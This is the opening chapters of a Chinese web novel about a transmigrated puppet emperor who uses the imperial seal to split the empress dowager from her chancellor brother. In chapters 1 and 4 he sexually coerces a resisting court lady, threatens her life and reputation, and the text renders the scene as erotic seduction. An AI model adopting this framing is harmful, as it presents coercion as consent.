《当皇帝:从卖传国玉玺开始》 第1章 贴身女官 大齐景德元年,上京,乾清宫。 郑遂身着黑色衮服,随意的坐在龙椅上。 “你的意思是,朕连皇宫都出不去?” 身旁女官躬身道:“陛下,这是太后娘娘的旨意。” 郑遂嗤笑一声,原主还真是窝囊,一个皇帝被太后拿捏的死死的,而且这还不是亲妈,是老皇帝临死前半个月娶的继室。 他估计,这个便宜小妈现在都还是个原装的,因为当时老皇帝已经有进气没出气了。 是丞相用冲喜的名义,强行将他妹妹送进后宫。 冲喜?是抢占权力才对吧? 郑遂看向身旁女官,就连身旁掌管起居的女官都是徐家的人,原主已经被控制的完全没有反抗余地了。 他挥手道:“都退下,朕乏了。” 一众宫女太监没有动作,只是将目光看向女官徐妍。 等徐妍打出手势后,这群人才鱼贯而出,这份细节也被郑遂看在眼里。 被控制到这个地步,这把高端局,不好打啊。 徐家确实是一尊庞然大物,如今京都禁军大半在徐家之手,镇北关主将是徐家家主的得意门生,二代子弟文武都有,家主更是当朝丞相,门生故吏遍布天下,文武百官有半数是他的朋党。 这般恐怖的势力,也难怪徐家有篡位的野心。 不过没关系,上辈子郑遂也不是什么安分人物,作为小巴的高级地缘政治顾问,什么大场面没见过,难打也不是不能打。 比如,从这个徐妍开始。 此时的寝宫已经只剩郑遂和徐妍两人,贴身监视郑遂,是她的任务,她绝对不可能离开。 但这也是郑遂的机会,他伸出手想去摸徐妍的下巴,却被她躲开。 徐妍柳眉微蹙,冷声道:“陛下,请自重!” 郑遂不管不顾,一把将徐妍搂进怀中。 徐妍猝不及防之下被大力拉进怀中,反应过来之后内心大骇,开始拼命挣扎。 “陛下,你要做什么!” 郑遂对她比了个噤声的手势。 “尚宫大人,如果大声叫嚷把人都喊进来,咱们是谁吃亏?” 尚宫是徐妍的官职,古代自隋开始,宫中设有女官职,最高为正五品尚宫,司掌六局二十四司。 徐妍冷笑:“陛下如果是打这个注意,那就想错了,我从小和娘娘一同长大,虽是姑侄,但情同姐妹,娘娘能为了徐家牺牲自己,我又怕什么?” “从我进宫那一刻开始,什么名节都不重要了,我已经做好了在宫中孤独终老的准备,家主也会善待我的父母兄弟!” 看着毫无畏惧的徐妍,郑遂笑了,天真好啊,他就喜欢天真的孩子。 “尚宫大人,你觉得把人喊进来之后,丢失的只有名节?” “你觉得徐家对你的信任能有多少?今天你我滚到一起,那你会不会对徐家变心?” “我知道,你肯定想说你不会,因为徐家还有你的家人,但是徐家会这么想吗?一个宫中女官有了野心,想爬上龙床,诞下龙子,多么合情合理?” 徐妍愣了一下,之后断然摇头:“不可能,我没有爬上龙床!娘娘不可能……呀!” 话音未落,她的声音就被打断,她愕然的低头,才发现不知何时她的腰带已经被解开,一只大手在腰间游弋,甚至还在继续向下! 徐妍顾不得辩解,连忙伸手按住向下的大手,但一只手的力气不够,只能两只手齐齐上阵。 两只手挡住下面,那上面怎么办? 她的领口处被郑遂轻而易举攻破,轻而易举的在两座伟岸的峰峦中抓住一个小白兔。 徐妍都没有反应过来,上路阵地就已经失守,而且郑遂满脸笑意的作势张口喊人。 徐妍顿时亡魂大冒,异样的感觉还没有完全侵袭她的意识,如果这时候让郑遂喊人进来,那自己爬上龙床就是板上钉钉! 她也不傻,自然很清楚自己丢了名声,和实打实的爬上龙床有什么区别。 到时候就算太后愿意相信她,心狠手辣的丞相也一定会动手! 因为皇帝身边绝不能出现不稳定因素! 你说用家人威胁徐妍做事?不可能的。 有的是人心甘情愿的为徐家卖命,你一个被胁迫的,和主动的,做事出来的效果能一样吗? 养死士靠的是恩重如山,锦衣玉食,而不是靠胁迫。 徐妍来不及思索,就用一只手捂住郑遂的嘴,但这样一来,她另一只手根本按不住郑遂,下方阵地也直接被攻破。 “不……陛下,别这样……” 徐妍身躯一软,倒在郑遂身上,靠在肩头的面色红的滴血,喘息的声音都带着些许娇色,眼神逐渐迷乱。 郑遂动作不停,除了四处点火挑逗之外,自己俯身亲了上去。 面对青涩的徐妍,郑遂耐心的教她怎么在深吻时换气,一直教的衣衫半褪,气喘吁吁,眼看就要去探索人生奥秘的时候,外面忽然响起一道高喝。 “太后娘娘驾到!” 已经意乱情迷的徐妍瞬间惊醒,看着自己已经被脱到腰间的衣服,还有郑遂正在脱她肚兜的大手,险些叫出来。 她不知那来的力气,一把将郑遂推开,开始手忙脚乱的穿戴衣物。 郑遂也不恼,笑着凑在她耳边轻声道。 “胸下的小痣很好看。” 徐妍双腿一软,心底升起难以言喻的恐惧。 这个小痣只有父母和太后知道,如果郑遂在太后面前提及,她就死定了! 一个生出野心爬上龙床的棋子,徐家是绝对不会容忍的。 此时,乾清宫外的太后大步向前,从她听说徐妍自己留在寝宫时就心头一跳。 她希望这个小侄女不要做傻事,如果真的动了心思爬上龙床,自己也保不住她! 看到依旧紧闭的宫门,太后徐妙晴冷声道。 “一群没眼睛的狗东西,愣着做什么?给哀家开门!” 一群战战兢兢的下人立刻上前打开宫门,当宫门大开的那一刻,徐妙晴松了口气。 因为郑遂静静的在椅子上翻书,徐妍则是在他身后不起眼的角落束手而立,两人都衣衫整齐,殿内也没有奇怪的气味,看来是没事。 随着徐妙晴走入乾清宫,他身后的大太监却没有进去,只是指使几人关上殿们后,默默守在门口。 因为徐妙晴这趟来,不仅仅是为了看徐妍有没有越界,她还有一件更重要的事,那就是玉玺! 玉玺不能一直放在郑遂手上,否则他可以绕过司礼监和丞相,直接对官员下盖了玺印的圣旨,这是个巨大的隐患。 而现在,司礼监在徐妙晴手里,丞相是她哥哥,如果玉玺也能到手,那他徐家和皇帝也只差一个称谓而已! 第2章 驱狼吞虎 看到大步进来的徐妙晴,徐妍心底紧张到极致,躬身行礼道。 “拜见太后娘娘。” 她生怕被徐妙晴看出一点不对,那就是万劫不复! 两人的私人关系再好,也好不过徐家在徐妙晴心里的位置。 而且徐妍更知道,徐妙晴自身也对权力有着强烈的追求。 徐妙晴淡然颔首,目光聚焦在郑遂身上。 “陛下,你初登大位,难免性情冲动,考虑不周,所以玉玺放在你手上不合适,还是哀家先替你保管些时日吧。” 原本徐妙晴以为,郑遂会反对的很激烈,毕竟这可是玉玺,皇权的象征,如果连玉玺都保不住,那他这个皇帝真是彻底颜面扫地。 但郑遂居然毫不迟疑的点头。 “当然可以,还请母后上前。” 他拿起桌案上的玉玺,主动站起身,走下御阶,走到徐妙晴身前,将手中玉玺递出。 郑遂现在被封锁到这个地步,留着一个玉玺也没有意义,他需要启动资金。 而现在,唯一的启动资金只可能从徐妙晴身上获得。 只要能挑动徐妙晴和丞相徐敬意的矛盾,那他就能做到驱狼吞虎,火中取栗! 在此之前,可能要对这个傲慢的小娘们客气点了。 徐妙晴看着这方金镶玉的玉玺,呼吸逐渐急促。 和田玉虽然珍贵,但不是找不来第二块,对徐家这种庞然大物来说,一块和田玉,想要就能找到。 但这不是一块普通的玉,这更是皇权的象征,是千年帝制的起源! 当徐妙晴强压激动去接玉玺时,郑遂却忽然缩回手,让她落空。 徐妙晴柳眉轻蹙,到了这个地步,郑遂还想玩什么花招? 今天好声好气的要这方玉玺,是给你体面! 如果你不想体面,那有的是办法帮你体面! 郑遂并不是舍不得这方玉玺,刚刚他清楚的看到了徐妙晴眼中的渴望。 “母后,玉玺可以给您,但给您之前,我有个问题。” 徐妙晴挑眉:“说吧,只要哀家知道,都可以告诉你。” 原来是有点小要求啊,那可以接受。 在徐妙晴看来,无非是郑遂想用这方玉玺换点好处,比如换个保证,哪怕日后篡位也留他一命。 只要郑遂能配合,确实可以考虑。 但郑遂问的问题却出乎她的意料。 “母后,这方玉玺,到底是保管在您手里,还是在徐丞相的手里?” 徐妙晴心头骤然一跳,面上不动声色。 “你这是什么意思?” 郑遂的笑容像是引人堕落的恶魔,他举起手中玉玺,就放在徐妙晴面前。 “母后,难道您甘心吗?甘心一辈子困顿宫闱,或者某天,您兄长徐敬意篡位,您从高高在上的太后,变成长公主。” “到时候为了稳定,也为了联姻,徐敬意必然逼您再嫁。” “您从俯瞰众生的太后,重新变成一个联姻工具,嫁给一个你不爱的男人,过着相夫教子的生活,这是您想要的吗?” 徐妙晴顿时大怒:“你敢挑拨离间?我徐家的家事还轮不到你来置喙!” 她心中更震惊的是,你一个皇帝,拿皇位来挑拨离间? 民间的败家子卖田产算什么,看到没,皇帝卖自己家皇位! 不过徐妙晴也能理解,一个连忠心的太监都没几个的皇帝,想活下去,不卖皇位卖什么? 面对她的激烈反应,郑遂没有半点失望,将手中玉玺向徐妙晴的方向送了送。 “母后,你说我是挑拨离间,但与手握天下的权柄失之交臂,您,不觉得可惜吗?” 郑遂的声音像是有某种魔力,本该继续呵斥他的徐妙晴嘴唇蠕动,一双凤眸死死盯着这方玉玺,心中本就有过的想法开始疯狂生长。 是啊,难道我要放弃现在的权柄,去过那相夫教子的后宅生活? 徐妙晴从小就看着母亲和那些姬妾明争暗斗,早早白了头发,郁郁而终。 难不成,自己也要过那种生活? 她不甘心! 郑遂拉起她的玉臂,走向御阶。 徐妙晴本该训斥这于礼不合,可看着越来越近的御阶,她的心脏开始剧烈跳动。 她心中有了一个大胆的猜测! 两人缓步登上御阶,这短短的御阶却让徐妙晴心中升起不耐,这御阶怎么就这般长? 终于,两人站在龙椅前,徐妙晴心中的某种猜测也到了顶峰。 郑遂主动按住徐妙晴的肩膀,将她转个身,背靠龙椅,面朝殿门。 随着郑遂双手用力,徐妙晴缓缓坐在龙椅上,这一刻,她感觉到了前所未有的畅快! 她坐上的不是一张鎏金打造的龙椅,而是权柄的王座,是俯瞰天下众生的高处! 徐家筹备了三代,今天却让徐妙晴第一个坐上了这张象征着最高权力的九五之位! 徐妙晴能猜到郑遂想卖皇位,但做梦都想不到,他居然能做到这个地步! 出卖一些皇室的尊严和地位就已经很过分了,但郑遂这是要刨郑氏皇族的根啊! 那……她会心动吗? 在徐妙晴眼神恍惚,心神俱震之时,郑遂将玉玺递给她的手中,念出了刻在玉玺上的八个字。 “受命于天,既寿永昌!” 徐妙晴骤然握紧玉玺,像是握住了这天下的权柄! 心动?当然会心动!那个干部能经历这样的考验? 既然郑遂敢给,难道她不敢要? 一个能出卖自己皇位的皇帝,跟苟延残喘的破落户有什么两样,他这么挑拨离间,顶多是要一条生路。 难不成,他郑遂还能绝地翻盘,破了我徐家一手遮天的局面? 野心在心底疯狂滋生,郑遂却仍嫌不够,再添了一把火,带着蛊惑的在徐妙晴耳边轻声道。 “母后,您感受到了吗?这是权力的感觉,这是您在后宅永远不可能体验到的无上权柄!” “但这不过是儿臣寝宫的龙椅,终究算不得什么,难道,您就不想去坐一坐金銮殿上的龙椅?” “您想不想在有朝一日,坐在我郑家金銮殿的龙椅上,享受众生的朝拜!” 徐妙晴感觉自己的血液在沸腾,想不想?太想了! 权力会腐蚀任何人,如果可以,没人会不喜欢权力,尤其是天子的权柄! 一个势力鼎盛的天子,口含天宪,言出法随,一念百官死,一言万民生! 这九五之尊的位置,你徐敬意坐得,我徐妙晴就坐不得? 什么自己兄长势大,大多数人都只认兄长不认她,此刻徐妙晴都顾不得了。 她太想当皇帝了! 徐妙晴反手抓住郑遂的手腕,目光亮的可怕。 “陛下,如果你跟着我兄长,那你的下场就是一杯毒酒,但哀家可以保你性命!前提是……你能对哀家有用!” 郑遂露出笑容,你看,这不就上钩了? 第3章 那就,提前恭贺陛下了 “母后,此事不可操之过急,如今徐敬意势大,该徐徐图之,也不要一上来就说想登基称帝,朝臣是不会接受的,但如果只是垂帘听政……那大家不会反对什么。” “这样,我这正统的身份还能帮您拉拢到不少人,不如您回去,列出一个您想拉拢的名单,儿臣晓之以情,动之以理,您再开出价码,以利诱之,何愁此事不成?” “待时机成熟后,垂帘听政还是登基称帝,不都在您一念之间?” 徐妙晴听的眼睛越来越亮,此事可行! 她强压内心激动,对郑遂满是欣赏道。 “陛下果真是个识时务之人,你放心,如果哀家有那么一天,不仅保你性命,你后半生依旧荣华富贵!” 郑遂笑着拱手:“那就,提前恭贺陛下了!” 这一声陛下喊的徐妙晴嘴角压都压不住,如果不是顾及仪态,当场就能大笑出声。 两人的正事谈完之后,才看向角落里发懵的徐妍。 目睹了一场大到吓人的交易后,徐妍整个人都处于宕机状态。 她知道自己这个姑姑是有野心的,但万万想不到野心居然能这么大! 徐妙晴也注意到了她,刚刚有些太激动了,不然该先让她出去才对。 “徐妍,你过来。” 徐妍心头一跳,恐惧在心头萦绕,难道……这是要灭口? 她藏在袖口中的双手有些发抖,但还是不敢反抗,顺从的走上前。 每往前走一步,她都感觉自己的命离自己远了一分。 在这生死一线间,郑遂忽然开口道。 “要把这颗钉子拔了换一个?也行,但换来的人要信得过,能替我传达一下信息。” 徐妙晴怔了一瞬,心思一瞬间千回百转,钉子? 能得到这个评价,看来徐妍确实做的不错,是真让郑遂感到了棘手。 这让徐妙晴心底的杀意消散,罢了,徐妍也算信得过,再观察观察吧。 “皇帝想错了,哀家只是想叮嘱她两句,让她日后听你调遣。” 徐妍心底猛然松了口气,那种窒息感也随之消散。 她万万没想到,郑遂居然会出声救自己一命。 两人不再看她,郑遂眯眼笑道。 “母后,现在的重点是,既然您有心思,那有多少朝臣站在您这边?” 徐妙晴陷入沉默,过了好半晌才开口道。 “如今哀家手中有一支禁军,人数足有两万众,礼部左侍郎,左副都御使,都是哀家的人。” 郑遂有些惊讶,这股力量对于一个深宫太后来说,可不算小了,而且徐妙晴肯定是还有藏拙的。 但跟徐敬意比起来…… 算了,没有比的必要。 朝廷六部堂官,四位都是徐敬意的人,一位中立,只有工部尚书会为皇室说两句话。 京畿地带驻扎的七路禁军,合计二十万大军,其中有四路主将都拜在徐敬意门下,这还不算地方和边军的势力。 在京都,徐敬意拥有绝对统治力,但徐妙晴还是敢试着跟兄长掰掰手腕。 如果一个生意有百分之五十的利益,那就会有无数人趋之若鹜,如果有百分之百的法律,他们敢于践踏人世间的一切法律,如果是百分之二百的暴利,他们甚至敢卖出绞死自己的麻绳。 那,当皇帝是什么利润的生意?这根本就无法估量! 但可以确定的是,哪怕只有一点点可能,也会有人把自己的命压上赌桌! 比如现在的徐妙晴。 但,就算逆风成这样,郑遂还是要打,总不能等死吧? “母后,当务之急就是拉拢工部尚书李继业,他心向皇室,是可以拉拢的。” 徐妙晴皱眉:“但是,朝臣不能进入后宫,哀家想出宫更为艰难,一旦出宫,我兄长不会坐视不理的。” 郑遂笑了:“母后放心,尽管招他入宫来,朕来拉拢他!” 徐妙晴上下打量了郑遂一眼,目中充满怀疑。 “你?” 李继业数次指着郑遂的鼻子骂他不争气,只知在后宫玩乐,不思国家大事,对他失望至极,这怎么拉拢? 到时候听说你连皇位都要卖,还是卖给她一个女人,尚书大人恐怕能当场气死过去! 郑遂道:“母后,也该给朕一个机会,总不能朕什么都不做吧?那今晚我说这么多,有什么意义?” “徐敬意那边也请放心,您可以拿着玉玺回去,把玉玺交给他,说明朕已经服软,会全力配合徐家。” “到时候我会让老尚书明面上臣服徐敬意,但背地里,还是对您俯首称臣,如何?” 交出玉玺,李继业表面臣服,内地里心向徐妙晴,这个结果确实能在徐敬意那边交差,但……郑遂真的能办到吗? 徐妙晴看了看手中玉玺,凤眸中满是不舍,就算郑遂真的能办成,这个玉玺她也不想交出去啊! 郑遂一眼就看出了她的不舍,好言劝道。 “母后,现在不是享受的时候,在势力不够的时候,您不能表现出半点对徐敬意的反对,不然,您觉得他不会下狠手吗?” 徐妙晴沉默,过了许久才叹息了一声,不舍的抚摸了一下玉玺,才下定决心。 “哀家知道了,我回去下令传召李继业,让他去御书房,就看你的了。” 郑遂心中终于长出一口气,这个缺口终于打开了! “还请母后等我的好消息!” …… 御书房外,李继业身着二品紫色文官袍,老脸上满是衰败,他也已经有些扛不住了。 徐敬意势大,就算李继业再怎么干净,也挡不住大势倾轧,平日早朝时郑遂的表现也让他寒透了心。 李继业还在维护皇室,但郑遂却连他的话都不敢接一句,却对徐敬意的话极为顺从。 他忠于皇帝,但皇帝先带头送了,这让他有什么办法? 此时已经通传完毕,李继业大步迈进御书房。 他很想知道郑遂为什么召见他,难不成,终于忍不了徐家的飞扬跋扈,要联合这帮老臣反抗了吗? 怀着憧憬的李继业一进御书房,就觉得迎面一道晴天霹雳。 御书房里没有其他下人,但是除了郑遂和李继业之外,还有一个徐妍。 李继业早就听说郑遂身边的太监都被换掉,只有一个徐家派来的女官把持一切。3 如今郑遂召见,周围没有下人,明显是谈事的模样,但你带着这个徐家的女官做什么? 有这个女官在,难不成你还要跟我说怎么扳倒徐家? 李继业面色失望至极,见礼之后就开门见山道。 “陛下,您找我有何要事?如果是跟徐家有关,那您就不必开金口了。” 他的身形不自觉佝偻几分,已经有了告老还乡的打算。 第4章 出京 面对李继业的愤慨,郑遂主动起身走出案牍,在他错愕的目光中,拉起他的手,情真意切道。 “爱卿,朕招你前来,自然是为了大齐的三百年基业!” “如今徐家乱政,朕大权旁落,朕能依靠的,也只有你了啊!” 李继业错愕的看着郑遂,就算是历经三朝的他,也根本无法理解现在发生了什么。 之前郑遂是什么样的?在后宫寻欢作乐,在前朝对徐敬意唯唯诺诺,更是对他们这些忠心老臣弃之如敝。 一开始郑遂还能装一装,但是在李继业痛心疾首的训斥后,干脆彻底开摆了。 不仅对徐敬意毕恭毕敬,还主动帮徐敬意打压他们这些忠心耿耿的老臣。 这幅只会窝里横的废物姿态,看的一众老臣齿冷。 如果不是这批老臣心寒,逐渐告老还乡,或赋闲在家不问政事,徐敬意不可能这么短的时间就在京都手握大权。 可是现在,郑遂居然回心转意了? 但……李继业的目光看向徐妍,这又是怎么回事? 郑遂自然注意到了李继业的目光,安抚道。 “爱卿放心,她现在是自己人。” 郑遂回头道:“你先去后殿吧,朕要和李爱卿说些心里话。” 徐妍顺从的点头,转身就走进后殿,这让李继业大为不解。 李继业对宫中的事情也了解,尤其是徐妍这个关键人物,她可是太后徐妙晴的绝对心腹,怎么会听郑遂的命令? 郑遂解释道。 “爱卿,朕虽不堪大用,但徐家兄妹以为放个女人就能看住我,还是太小看朕了,何况,现在徐妙晴也站在朕这边。” 李继业再次震惊,难以置信的看着郑遂,徐妙晴也站在你这边?你在开什么玩笑? 徐妙晴可不是什么善茬,在郑遂面前被忽悠,不代表她就是无能之辈。 在徐家中,徐妙晴掌管半数徐家耳目,打理徐家产业,拉拢官员,权力之盛仅次于徐敬意! 看起来她手中嫡系力量不多,但是能在这种时代,以女子之身拉拢到这样一批嫡系已经实属不易。 换个人在徐敬意眼皮子底下拉起来一批嫡系试一试?想都别想! 真当徐敬意是傻子吗? 这可不是明面能调动的力量,这是能跟着她宫变的绝对嫡系! 眼看李继业有些不信,郑遂和盘托出。 “这事简单来说,就是朕用玉玺挑起徐妙晴的权力欲望,让她去和徐敬意争权,所以她暂时站在朕这一边。” 玉玺?! 李继业颤声道:“陛下,那您的意思是,玉玺现在不在您手中了?” 那可是皇权的象征! 郑遂点头道:“没错,玉玺已经送出去了,换朕一个反抗的机会,怎么,爱卿觉得不值?” 值不值?太值了! 李继业不是迂腐文人,一眼就能看出这一手的高明之处。 玉玺再怎么样,也只是个象征,跟实打实的权力比起来狗屁不是。 如果郑遂能反抗成功,一块玉玺算什么?皇位争夺,赢家通吃! 能想明白这一点的李继业热泪盈眶。 郑遂不仅回心转意,还能用出如此高明的手段,天不亡大齐啊! “陛下需要老臣做什么?老臣这把老骨头还中用,臣,愿意为陛下效死!” 一边说着,李继业就要下跪行礼。 郑遂连忙拉住老泪纵横的李继业。 “爱卿,不必行此大礼,朕要你做的很简单,去收拢地方的军政财权!” 一个工部尚书,在京都翻不起什么太大的浪花,但是一个地方上有兵有粮的封疆大吏可就不一样了。 权力是什么?权力是实打实的力量,有兵有粮就有力量! 郑遂能看中李继业,关键就是这位可是个全才,能骑善射,不是酸腐文人。 李继业摸了摸眼泪,坚定道:“陛下放心,老臣可不是只会修河堤!” 不等郑遂说,他自己就想明白了怎么出京外放。 “陛下,老臣不能去见徐妙晴,那边需要您去打点,但徐敬意那边老臣去应付。” “明面臣服徐敬意,背地里听命徐妙晴,但根本还是效忠陛下!” 不愧是三朝老臣,这点弯弯绕一点就透。 “只是……老臣出京,陛下就是孤身一人在京了,老臣无能,只养了三百死士,这些人就留给陛下了,以备不时之需。” 郑遂也有些惊讶,在徐敬意眼皮子底下还能养出来三百死士?这群大臣果然没一个是省油的灯。 “爱卿,朕在京都要这些死士用处不大,还是你带走护身吧。” 李继业用力摇头。 “陛下,京都的水更深,不光是有徐敬意,为了防止有些人狗急跳墙,这三百死士必须留给您。” “宫中本就有些死士,其余人,老臣会想办法让他们混进宫中禁卫,配合您行动,至于老臣……” 李继业撒然一笑,原本垂垂老矣的他好似重新焕发生机,有了难以言喻的豪气。 “老臣我带一口棺材去上任就足够,若事不成,那就一死以谢陛下天恩!” 李继业走了,带着高涨的热情去做事了。 郑遂目送他远去,嘴角勾起笑容。 虽然身边没有任何力量,但身处权力风暴正中央的郑遂没有丝毫畏惧。 正统的身份,就是他最大的筹码。 有一大批老臣等着他去召唤,无数心向正统的人都可以成为他的耳目。 就连汉献帝那个境地,都能搞出衣带诏这种操作,何况是已经初步打开局面的郑遂? 郑遂走进后殿,看到了在角落束手而立的徐妍。 看到郑遂进来,徐妍目中满是复杂,原本以为这个小皇帝的反客为主已经让他惊讶,但此刻他的手腕更是让徐妍难以言喻。 难道,真是天不亡大齐? “陛下不要……太后娘娘还等我回去复命。” 就在她震惊郑遂手腕的时刻,一只大手已经伸进她的衣领,不消片刻,她就已经气喘吁吁,媚眼如丝的对郑遂求饶。 她已经提不起半点反抗的欲望,因为她清楚自己已经身不由己。 但还没有到反抗不了就享受的地步啊! 郑遂也有些遗憾,现在确实不是宣淫的时候,他需要先联系上李继业给他的死士,并且尝试拉拢下一个老臣。 狠狠捏了一把之后,郑遂在徐妍耳边低声道。 “今晚你可就跑不掉了!” 徐妍顿时面色红的滴血,怀着恐惧和一丝丝期待,走出御书房去找徐妙晴复命。 就在郑遂期盼晚上节目的时候,一道平地惊雷在京都炸响。 秦王打出清君侧的口号,起兵造反! 第5章 清君侧 “你说什么?李继业就这么听他的话,自请出京外放了?” 徐妙晴难以置信的看着徐妍,根本不敢相信自己听到了什么。 就算是同样的正二品,京官就是比封疆大吏高半级。 中央和地方官能一样吗? 虽然一个封疆大吏主要是看能手里有多少兵丁嫡系,封疆大吏有没有兵的差距,比人和狗的差距都大。 但去地方势力盘根错节的地方,想自己发展嫡系养兵,这种难度就算再不懂政治的人都会感到震惊,何况是徐妙晴。 如果李继业留在京都,对徐敬意俯首称臣,百年之后,赏他一个文定谥号绝对不成问题。 文官毕生的梦想就是青史留名,文正二字更是被无数文臣追捧。 文定也是排名第六的美谥,这是莫大殊荣,但就这么几句话的功夫,李继业就干脆利索的放弃了文臣毕生追求,去走了一条很可能会粉身碎骨的道路。 徐妙晴第一次觉得,和郑遂走在一起是自己最正确的决定,正统拉势力的速度实在太快了。 一想到自己很快就能获得一大批老臣的支持,徐妙晴的嘴角就不自觉勾起笑容。 有了这群老臣的支持,她面对徐敬意也终于有了胜算! 但是她的笑容没有持续多久,因为有人来禀报了秦王起兵造反的消息。 徐妙晴的面色瞬间阴沉下来,从徐家接手中央权力开始,地方势力就躁动不安,各地匪患横行,叛乱不断。 而且先帝晚年的时候就看出了徐家的不安分,气若游丝的老皇帝为了小皇帝,在病床上亲手给徐家挖了一个大坑。 这个坑就是地方行政长官可以拥有兵权! 以往大齐也是军政分家的,因为只有武将兵权,得不到后勤支持,无法发动叛乱,同样的,文臣也只有经济,不能练兵。 这种制衡持续了三百年,直到老皇帝放开了这条铁链! 三国为什么打的那么凶?因为黄巾之乱时,灵帝亲手将军权下放,各地军阀才如雨后春笋般冒出来。 更火上浇油的是,一同打开的,还有藩王的铁笼! 以往藩王在封地内不可从政经商从军,只有几百人的护卫,明摆了拿藩王当猪养,但老皇帝临死前解开了这个绳子。 短短五年,地方就积蓄了可怕的力量,这也是徐妙晴最震惊的地方,现在地方就是火药桶,你一个老东西什么都不带就敢赴任,病死在半路上都没人管! 这种龙潭虎穴,郑遂一句话,李继业就敢去闯,这就是正统的好处! 徐妙晴冷声道:“来人,通知吾兄,哀家有要事相商。” 就算她再怎么想当皇帝,想扳倒亲哥,但现在也不是时候。 如果让秦王一呼百应,打进京都,那徐家就完蛋了,到时候还争什么皇位?她徐家不死绝都算祖坟冒青烟! …… 乾清宫,听到徐妍汇报的消息,郑遂也豁然转身,眉头紧锁。 秦王喊的是清君侧,但谁都知道,清君侧的重点是清君! 你还真以为只杀奸臣啊?那朱老四找他大侄子好几十年干什么? 秦王打进京都,郑遂最好的结果就是圈禁,更大的可能是忽然死在“徐家”手里,然后秦王打出为郑遂报仇的口号,砍徐家全族。 来回踱步之后,郑遂忽然眯起眼睛。 这件事的大方向是按住秦王在内的地方势力,军阀决不能打进京都。 徐家再怎么样也是要体面的,军阀可没有,汉末汉献帝是什么处境? 曹操还要脸要体面,董卓和李傕郭汜呢?谁拿汉献帝当人看了? 尤其是少帝刘辩,董卓说杀就杀了。 但这件事也不是都是坏处,局面越乱,他火中取栗的可能性就越大。 现在,该见一见徐敬意了。 …… 皇宫,徐敬意打马前行,宫中走马,腰佩宝剑,可谓狂妄至极。 他的年纪不过三十余岁,姿容风流,身长甚伟。 只是他这张成熟男人的脸上也满是阴沉,显然心情不怎么好。 就在刚刚,他才接到了李继业的请辞,而且说明,他明日早朝会推举徐家的人接替工部尚书之位。 一个老顽固主动挪窝,虽然徐敬意不信他的效忠,但自请去地方,还推举徐家的人接位,这是个大好事。 但还没笑两声,就接到了秦王造反的消息。 徐妙晴知道局面的危险,徐敬意当然更感同身受。 不同于困于深宫的太后,徐敬意把持朝政,早就知道地方要出事,因为两个月前,他在秦王府的钉子就被拔掉了。 但徐敬意做梦都没想到,局面会迅速糜烂到这个程度。 一个秦王造反不可怕,说是十万兵马,能有两三万正兵就顶了天了,还都是没见过血的新兵。 调过去三万边军铁骑,闭着眼都能把秦王的脑袋剁了喂狗,但问题是,他一个秦王都敢造反,其他人呢? 但如果这件事没处理好,那可就是接二连三的造反! 过了许久,徐敬意才从坤宁宫中出来,心情稍微舒缓了一些,但问题还是没有解决。 兄妹俩经过谈话,确定了一个共识,禁军不能动,这是镇压京都的关键,只能调镇北关的边军。 但还是那句话,镇压秦王造反不难,怎么以雷霆之势击溃,震慑住其他势力才是关键。 尤其是,怎么从法理上把这件事从清君侧的靖难,变成秦王这个逆贼造反。 在徐敬意打算出宫问问谋士们的意见时,徐妍走了过来。 “家主,陛下有请。” 徐敬意高坐马上,面色有些诧异,小皇帝见他做什么? 平时见他老鼠见了猫一样,唯唯诺诺的一句话不敢说,怎么忽然想主动见我? 但是他忽然想到,李继业是先进宫,之后才心如死灰的求外放,徐敬意又释然了。 明白了,小皇帝恐怕是觉得帮他做成了一件事,迫不及待的想要些奖励。 想到此处,徐敬意有些烦躁,此时他可没心情陪小皇帝玩,当务之急是解决秦王的事。 眼看徐敬意理都不理,一扯缰绳就要走,徐妍连忙把郑遂教她的话说了出来。 “家主,陛下问您听没听过挟天子以令诸侯这句话。” 徐敬意欲走的动作停住,缓缓转头看向徐妍,寒声道。 “你说什么?给本相重复一遍!” 第6章 不知陛下有何看法? 徐妍额头冷汗沁出,在徐敬意的目光中几乎站不稳身躯。 哪怕这是她大伯,但下狠手的时候徐敬意也不会有半点犹豫。 平常人家碰见大伯发怒,大不了是被训斥,但在徐家,徐妍如果让这个大伯生气,那就是人头落地! 哪怕徐妍是徐妙晴的左膀右臂,是正五品女官,在这宫中的实际话语权仅次于徐妙晴,平日里威风八面。 但是在徐敬意眼里,杀她跟杀只鸡一样简单,只需要一句话就够。 这种情况下,徐妍怎么可能不怕? 在她声音微颤的重复了一遍后,已经绝望的闭上眼睛,等待徐敬意的雷霆之怒,只希望不会牵连家人。 但等了许久,徐敬意都没有发落她的意思,只是冰冷的吐出一句。 “前面带路。” 徐妍顿时睁开眼,就这么完了? 她从听到郑遂这句话的时候就觉得不靠谱,挟天子以令诸侯,这不就是在嘲讽徐敬意吗? 但又没法反抗,只能怀着忐忑的心情前来。 刚刚徐敬意高坐马上让她重复的时候,她连自己埋在哪都想好了。 但她做梦都想不到,这一句话居然能让徐敬意真的去见郑遂! 徐妍面色有些恍惚的在前面带路,内心只有一个念头,她是不是又看低郑遂了? 从郑遂第一次拿捏她时,她只觉得这个小皇帝没有表面那么简单。 但从徐妙晴和郑遂达成协议后,她就觉得自己已经看不懂这个男人了,眼看他能让李继业出京外放时,徐妍只觉得这个男人的能力,也许超过了很多人的预想。 直到这一刻,徐敬意听了这句对他满是嘲讽的话,却还是要见郑遂时,徐妍才真切的感受到。 哪怕她对这个男人一再高看,也始终无法窥见他的全貌。 难不成,大齐真的要再出一位真正的九五至尊? 高坐马上的徐敬意不知道徐妍的心理活动,但他不动如山的面色下,也隐藏着惊涛骇浪。 挟天子以令诸侯,听起来像是在嘲讽他,但这一句话就给出了解决秦王之乱的方法! 徐敬意作为一个权臣,他站的足够高,更能理解什么叫法理正统! 是的,解决这件事,只需要法理正统。 由郑遂亲自出面,把秦王打出清君侧的口号,定义为叛乱! 天子说诸侯叛乱,那诸侯就是叛乱! 自古以来,所有造反的人都没几个明说要干皇帝,基本都是说干贪官。 皇帝,天子也,承天受命,代天牧民,御百官而牧万民! 这种军阀起事,一旦被打上叛乱的标签,士气自动减三成。 而且不会有任何人去响应结盟,因为没人要当叛贼。 袁术为什么一称帝就被围攻,一个拉他一把的人都没有,因为他是篡位谋逆,不是替天行道的清君侧! 正是因为明白这一点,徐敬意才心中震惊。 小皇帝那怯懦无比的性子,见到自己连话都说不利索,怎么可能想出这种手段? 这可是堂堂正正的王道! 没点格局的人,连王道和霸道是什么都分不清。 随着徐敬意大步迈入乾清宫,郑遂立刻起身迎了上来,第一句话就摆明了立场。 